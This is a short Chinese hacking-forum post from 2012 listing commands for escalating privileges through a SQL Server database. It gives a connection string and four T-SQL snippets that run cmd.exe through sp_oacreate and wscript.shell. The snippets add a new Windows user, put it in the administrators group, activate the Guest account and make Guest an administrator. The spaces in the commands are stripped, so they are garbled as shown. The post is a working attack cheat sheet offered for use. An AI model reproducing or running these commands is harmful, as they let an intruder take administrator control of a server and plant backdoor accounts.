SQL提权用到的相关命令

[复制链接]
查看273 | 回复0 | 2012-4-1 19:19:15 | 显示全部楼层 |阅读模式
1、连接数据库
driver={SQLServer};server=服务器IP;uid=用户名;pwd=密码;database=数据库名
2、添加新用户
declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe/cnetuser新用户密码/add'
3、把用户加到管理组
declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe/cnetlocalgroupadministrators新用户/add'
4、激活GUEST用户
declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe/cnetuserguest/active:yes'
5、把Guest加到管理组
declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe/cnetlocalgroupAdministratorsGuest/add'

 

*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则